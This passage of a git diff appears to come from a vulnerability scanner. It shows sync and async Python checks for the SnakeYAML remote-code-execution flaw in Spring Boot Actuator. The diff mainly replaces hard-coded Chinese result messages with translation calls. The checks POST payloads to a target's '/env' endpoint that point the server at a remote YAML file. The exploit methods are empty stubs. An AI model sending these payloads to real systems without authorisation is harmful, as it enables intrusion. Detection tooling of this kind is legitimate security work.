- self.Headers_2 = { - "User-Agent": self.ua, - "Content-Type": "application/json" - } - self.payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" - self.payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" - self.path = 'env' - def poc(self,url,proxies,ProxyStute): - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - try: - requests.packages.urllib3.disable_warnings() - urltest = url + self.path - - re1 = requests.post(url=urltest, headers=self.Headers_1, data=self.payload_1, timeout=6, allow_redirects=False, - verify=False, proxies=proxies) - re2 = requests.post(url=urltest, headers=self.Headers_2, data=self.payload_2, timeout=6, allow_redirects=False, - verify=False, proxies=proxies) - - if ('example.yml' in str(re1.text)): - result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 1.x\n" - result2 = f"漏洞存在路径为 {urltest}\n" - result3 = f"'POST数据包内容为 {self.payload_1}" - return result1 + result2 + result3 - elif ('example.yml' in str(re2.text)): - result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 2.x\n" - result2 = f"漏洞存在路径为 {urltest}\n" - result3 = f"'POST数据包内容为 {self.payload_2}" - return result1 + result2 + result3 - else: - result = f"[-] {urltest}未发现SnakeYAML-RCE漏洞" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - def exp(self,url,proxies,ProxyStute,cmd): +# coding:utf-8 + +import requests +from util import RandomUA +from util.Translate import tr + +class SnakeYAML_RCE: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua = ua.UserAgent() + self.Headers_1 = { + "User-Agent": self.ua, + "Content-Type": "application/x-www-form-urlencoded" + } + self.Headers_2 = { + "User-Agent": self.ua, + "Content-Type": "application/json" + } + self.payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" + self.payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" + self.path = 'env' + def poc(self,url,proxies,ProxyStute): + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + try: + requests.packages.urllib3.disable_warnings() + urltest = url + self.path + + re1 = requests.post(url=urltest, headers=self.Headers_1, data=self.payload_1, timeout=6, allow_redirects=False, + verify=False, proxies=proxies) + re2 = requests.post(url=urltest, headers=self.Headers_2, data=self.payload_2, timeout=6, allow_redirects=False, + verify=False, proxies=proxies) + + if ('example.yml' in str(re1.text)): + result1 = tr("v.snake.found1") + result2 = tr("v.snake.path", url=urltest) + result3 = tr("v.snake.post", payload=self.payload_1) + return result1 + result2 + result3 + elif ('example.yml' in str(re2.text)): + result1 = tr("v.snake.found2") + result2 = tr("v.snake.path", url=urltest) + result3 = tr("v.snake.post", payload=self.payload_2) + return result1 + result2 + result3 + else: + result = tr("v.snake.none", url=urltest) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + def exp(self,url,proxies,ProxyStute,cmd): pass \ No newline at end of file diff --git a/vuls/SnakeYAML_RCE_Async.py b/vuls/SnakeYAML_RCE_Async.py index c3a3586..354d911 100644 --- a/vuls/SnakeYAML_RCE_Async.py +++ b/vuls/SnakeYAML_RCE_Async.py @@ -1,60 +1,61 @@ -# coding:utf-8 - -import aiohttp -from util import RandomUA - -class SnakeYAML_RCE_Async: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua = ua.UserAgent() - self.Headers_1 = { - "User-Agent": self.ua, - "Content-Type": "application/x-www-form-urlencoded" - } - self.Headers_2 = { - "User-Agent": self.ua, - "Content-Type": "application/json" - } - self.payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" - self.payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" - self.path = 'env' - - async def fetch(self, session, url, path, headers, payload, proxies): - try: - async with session.post(url=url + path, headers=headers, data=payload, timeout=6, allow_redirects=False, - verify_ssl=False, proxies=proxies) as response: - return await response.text(), response.status - except Exception as e: - return str(e), 0 - - async def poc(self, url, proxies, ProxyStute): - if ProxyStute == 1: - proxy = proxies - else: - proxy = None - try: - async with aiohttp.ClientSession() as session: - urltest = url + self.path - - text1, _ = await self.fetch(session, urltest, "", self.Headers_1, self.payload_1, proxy) - text2, _ = await self.fetch(session, urltest, "", self.Headers_2, self.payload_2, proxy) - - if 'example.yml' in text1: - result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 1.x\n" - result2 = f"漏洞存在路径为 {urltest}\n" - result3 = f"'POST数据包内容为 {self.payload_1}" - return result1 + result2 + result3 - elif 'example.yml' in text2: - result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 2.x\n" - result2 = f"漏洞存在路径为 {urltest}\n" - result3 = f"'POST数据包内容为 {self.payload_2}" - return result1 + result2 + result3 - else: - result = f"[-] {urltest}未发现SnakeYAML-RCE漏洞" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - - async def exp(self, url, proxies, ProxyStute): +# coding:utf-8 + +import aiohttp +from util import RandomUA +from util.Translate import tr + +class SnakeYAML_RCE_Async: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua = ua.UserAgent() + self.Headers_1 = { + "User-Agent": self.ua, + "Content-Type": "application/x-www-form-urlencoded" + } + self.Headers_2 = { + "User-Agent": self.ua, + "Content-Type": "application/json" + } + self.payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" + self.payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" + self.path = 'env' + + async def fetch(self, session, url, path, headers, payload, proxies): + try: + async with session.post(url=url + path, headers=headers, data=payload, timeout=6, allow_redirects=False, + verify_ssl=False, proxies=proxies) as response: + return await response.text(), response.status + except Exception as e: + return str(e), 0 + + async def poc(self, url, proxies, ProxyStute): + if ProxyStute == 1: + proxy = proxies + else: + proxy = None + try: + async with aiohttp.ClientSession() as session: + urltest = url + self.path + + text1, _ = await self.fetch(session, urltest, "", self.Headers_1, self.payload_1, proxy) + text2, _ = await self.fetch(session, urltest, "", self.Headers_2, self.payload_2, proxy) + + if 'example.yml' in text1: + result1 = tr("v.snake.found1") + result2 = tr("v.snake.path", url=urltest) + result3 = tr("v.snake.post", payload=self.payload_1) + return result1 + result2 + result3 + elif 'example.yml' in text2: + result1 = tr("v.snake.found2") + result2 = tr("v.snake.path", url=urltest) + result3 = tr("v.snake.post", payload=self.payload_2) + return result1 + result2 + result3 + else: + result = tr("v.snake.none", url=urltest) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + + async def exp(self, url, proxies, ProxyStute): pass \ No newline at end of file